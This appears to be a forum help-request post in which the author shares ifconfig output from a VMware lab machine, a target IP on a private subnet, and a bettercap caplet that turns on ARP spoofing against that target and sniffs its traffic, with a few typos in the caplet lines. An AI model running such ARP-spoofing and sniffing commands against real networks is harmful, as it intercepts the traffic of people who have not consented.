here just in case the pics arent opening and sorry if they dont as I have been having some issues with uploading and I Appreciate your patience

ifconfig
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eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.160.128 netmask 255.255.255.0 broadcast 192.168.160.255
inet6 fe80::20c:29ff:fedb:b9df prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:db:b9:df txqueuelen 1000 (Ethernet)
RX packets 22235 bytes 17092739 (16.3 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 52011 bytes 24753228 (23.6 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 9315 bytes 985550 (962.4 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 9315 bytes 985550 (962.4 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
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target ip is 192.168.160.130

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bettercap version bettercap v2.32.0
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bettercap start

bettercap -iface eth0 -caplet bettercap_spoof.cap (this file is in my root documents directory)
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both vmware are set to bridge mode
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content inside my spoof caplet

net.probe on
set arp.spoof.fulldulpex true
ser arp.spoof.targets 192.168.160.130
arp.spoof on
set net.sniff.local true
net.sniff on